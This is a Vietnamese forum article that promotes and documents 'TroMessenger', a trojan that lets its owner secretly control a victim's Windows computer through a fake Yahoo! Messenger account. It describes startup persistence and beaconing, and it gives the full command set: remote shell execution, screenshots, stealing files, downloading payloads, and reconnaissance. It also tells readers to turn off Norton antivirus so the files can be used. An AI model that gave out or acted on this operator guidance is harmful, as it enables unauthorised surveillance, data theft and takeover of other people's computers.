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| Reading article | Xam nhap may tinh tu xa thong qua Yahoo! Messenger | So luoc chuong trinh
Day la mot chuong trinh xam nhap va kiem soat may tinh tu xa thong qua Yahoo! Messenger. Voi cong cu nay, ban co the kiem soat bat cu mot may tinh nao bang cach gui thong tin qua Yahoo! Messenger ao thiet lap trong he thong. Tu do ban co the ra lenh cho may doi tuong lam theo bat ky menh lenh nao.
Co che hoat dong:
Sau day la quy trinh hoat dong cua chuong trinh sau khi xam nhap:
1) Chay vao chuong trinh khoi dong (Startup).
2) Kiem soat bo nho he thong.
3) Nam an cho khi co ket noi vao mang.
4) Khi may doi tuong da ket noi, phat tin hieu tro ve cho may ID ao.
5) Gui thong tin ve cho chu nhan, sau khi qua trinh phat tin hieu thanh cong.
6) Va bay gio ban da co the kiem soat moi thu tren may nan nhan.
Cau hinh toi thieu:
1) He dieu hanh Microsoft Windows XP hoac Windows Server 2003 . Chuong trinh khong ho tro tren Windows 2000, Windows 98 den thap hon, va he thong Linux.
2) 128MB RAM (256MB RAM cau hinh chuan)
3) 700Mhz CPU.
4) 8MB Card do hoa.
5) Dung luong trong du dung. (De luu hinh chup gui ve)
6) Ket noi mang thuong xuyen. Chuong trinh hoat dong voi moi loai mang. Vi du: Dialup, ADSL, Wireless, Broadband, Satellite, LAN...
Chuong trinh van hoat dong voi dieu kien truy cap mang binh thuong. Nhung dieu kien ket noi lien tuc thuong xuyen se giup qua trinh phat tin hieu va gui thong tin tot hon.
Tinh nang dac biet
Khong doi hoi IP Address! Day la uu the manh nhat cua chuong trinh nay. Trong nhung chuong trinh truoc day ban buoc phai co va khai bao mot IP Address trong qua trinh kiem soat. Voi chuong trinh nay thi khong doi hoi IP Address.
Nghi van - Lam the nao co the thuc hien kiem soat ma khong can IP Address?
Giai dap - Boi vi chuong trinh nay tao ra han mot Yahoo! ID ao cho ban, vi vay ban khong can phai khai bao IP Address tu may dieu khien. Mac du IP Address van duoc gui cho ban khi ket noi. Nhung do chi la thong tin cung cap them cho ban ve may bi kiem soat, va khong co tac dung gi doi voi chuong trinh TroMessenger.
Chay an trong he thong mang LAN, ke ca he thong Router cua may chu. Day la mot khuyet diem cua hau het cac loai Trojan, nhu la Troya, chi hoat dong tren he thong co IP tinh. Truoc day, ban phai co duoc IP Address hop le. Vi du: neu co mot he thong mang voi 5 may tinh va ban la mot thanh vien trong he thong mang do, ban co the truy cap vao cac may khac. Nhung ai do nam ngoai he thong mang nay thi khong the truy cap vao bat cu may nao trong he thong. Boi vi anh ta khong co IP Address hop le de lien ket vao he thong. Nhung gio day, van de da duoc giai quyet voi TroMessenger.
Voi TroMessenger, ban co the truy cap vao bat cu may nao o bat ky he thong mang nao. Chi can moi may tinh duoc ket noi vao mang va TroMessenger dang nam an ben trong.
Cac kieu lenh
Trong phien ban nay, day la mot so cau lenh khoi dau cho viec kiem soat.
/Result Ket qua cua qua trinh thuc thi se duoc gui ve ngay sau khi qua trinh hoan tat. Nhung neu nhu noi dung cua ket qua gui ve qua dai (nhieu hon 200 ky tu), no se duoc gui lan luot, lien tuc. Boi vi Yahoo! Messenger khong cho phep noi dung co so ky tu vuot qua gioi han da dinh san.
/cmd - Tuong tu MS-DOS Command Prompt. Ban co the thuc thi lenh DOS tren may bi kiem soat, va nhan duoc ket qua. Cac lenh nhu: DIR , VER , VOL , IPConfig , Netstat , WHOAMI v.v ... deu co the duoc su dung nhu lenh DOS.
Vi du: /cmd dir C:\*.txt]
Cac kieu lenh thuc thi DOS
Ban co the thuc thi mot so lenh DOS dac biet de khai thac thong tin tu phia may bi kiem soat.
/cmd dir - Xem danh sach cac tap tin va thu muc. Ban co the su dung linh dong cac thong so de khai thac thong tin cu the nhat. Vi du: /cmd dir /on , /cmd dir *.txt
/cmd ipconfig - Lay thong tin truy cap. Cau lenh co chuc nang khai thac thong tin tu thiet bi mang dang su dung tren may bi kiem soat. No se truy ra ten thiet bi mang, dia chi IP, cong vao, DNS Server ... v.v
/cmd tasklist - Lay danh sach cac chuong trinh dang hoat dong. Tuong tu nhu Windows Task Manager. Nhung duoi giao dien DOS.
/cmd whoami - Cung cap thong tin de xac dinh may qua mang. Thong tin gui ve gom : TEN MIEN / TEN NHOM MANG , Ten may tinh va ten truy cap may tinh su dung WINDOWS. Luu y : Cau lenh nay chi hoat dong voi Windows Server 2003. Khong ho tro tren Windows XP.
/cmd netstat - Hien thi he thong mang va tat ca ket noi hien co tren may tinh. De dat toc do nhanh, su dung /cmd netstat -na
Khai thac thong tin cua may tinh
Chi viec su dung cau lenh nay, ban co the lay duoc thong tin chinh tu may doi tuong.
/IP - cho biet dia chi IP. Mot may tinh co the co nhieu hon mot dia chi IP khi hoat dong. Vi du : ban co mot tai khoan de ket noi internet, va may tinh cua ban dang nam trong mot khu vuc ket noi mang noi bo (LAN). Vi vay ban se co 2 dia chi IP an dinh trong may tinh. TroMessenger se gui toan bo dia chi IP hien hanh tren may tinh.
/osname - cho ban biet day du ve ten cua He dieu hanh Windows va ten cac phien ban cap nhat. Vi du : Windows Server 2003 Service Pack 1.
/computername - cho biet ten thiet lap cua may tren he thong mang. Cac may tinh nhan dang nhau qua ten nay. Neu may tinh hien thoi chua duoc ket noi, khong thanh van de, noi dung se duoc gui ngay sau do.
/winusername - cho biet tai khoan quan ly su dung Windows. Dac biet trong Windows XP, co the se co nhieu tai khoan su dung cung mot may. Va thong tin nay se duoc thay doi moi khi nguoi su dung truy cap.
Nhung voi Windows Server 2003 ten nay luon duoc tra ve Administrator. Tuy nhien dan Admin da biet chuyen ten tai khoan. nhung thong thuong da so Admin lai quen lam.
/yahooid - Cho biet ten Yahoo ID cua nguoi cuoi cung dang bi kiem soat.
Nhung chuc nang chinh
/Help - Hien thi cac lenh hop le cua TroMessenger. Se co nhieu cau lenh hon trong nhung phien ban moi. Luc do ban chi can su dung lenh nay.
/screenshot - Cho ban anh chup man hinh cua may tinh doi tuong.
Nghi van - Yahoo! Messenger la chuong trinh viet bang ngu lenh, lam sao TroMessenger co the cho toi xem anh chup ?
Giai dap - TroMessenger cho ban anh ngay tuc khac. Co nghia la : chup sao lai man hinh, sau do tai len mang, va gui den ban mot lien ket de xem anh.
/download - Tai ve mot thu gi do va luu lai tren may doi tuong. Ban se duoc thong bao khi qua trinh hoan tat.
Cau lenh: /download "http://www.hostname.com/folder/file.zip" "C:\SavedFile.zip"
Chu y: Ban phai su dung dau ngoac ("). Neu quen, qua trinh tai ve se khong thuc hien duoc.
/restart - Khoi dong lai may tinh.
Chu y: Neu ban chay thu nghiem tren may tinh cua ban, ban se bi khoi dong ngay lap tuc ma khong co tin hieu thong bao nao. Va nhung chuong trinh tren may se bi mat. Hay can than khi su dung cau lenh nay. Tuong tu nhu Shutdown command.
/shutdown - Tat may tinh. (Lap lai chu y)
/time , /date - Hien thi ngay va gio.
/ejectcd - Mo o dia CD-ROM.
/closecd - Dong o dia CD-ROM sau khi mo.
/view - Hien thi noi dung cua van ban. Luu y: neu van ban nhieu hon ... ky tu, no se duoc ngat ra thanh nhieu phan de gui lien tiep nhau.
/getfile - tai bat ky tap tin nao len mang va gui lien ket tai ve cho ban. Duoc su dung khi ban muon doc nhung tap tin khong phai la tap tin van ban tu may doi tuong
/status , /idle , /busy - Dat tin hieu hien thi cho dia chi ao. Nhu la tin hieu Busy hoac Idle Icons ben canh ID.
Cau lenh vi du :
/status Toiyeuem.
/idle Dangantoi.
/busy Hiendangban.
/cancel - Dinh chi cau lenh dang thuc hien. Vi du khi ban muon xem mot tap tin van ban co dung luong 1MB. Va noi dung dang duoc gui di tung phan, nhung roi ban cam thay chan va khong muon xem nua va muon gui mot lenh khac. Chi can dung lenh /cancel la xong.
/login - Dang nhap tai khoan su dung quan ly. Moi khi TroMessenger khoi dong, neu ban khong duoc xac nhan la chu quan ly cua chuong trinh, nhung ban biet mat khau, ban se su dung /login your password de bat dau dieu khien chuong trinh. Khong su dung dau ngoac cho mat khau...
Nhung chu y: Day la chuong trinh xam nhap trai phep va co the co Trojan nen khi ban giai nen ra mot so file se bi Symantec va NAV kill luon. Ban nao muon edit thi tat auto protect cua NAV di (nhung coi chung gay lung dap lung ong do)moonlight123 - HVA Online(Adon126@Yahoo.com) Article source http://w4rum.com/112.t
| | | [By Phan Vien] [10/Oct/06] |
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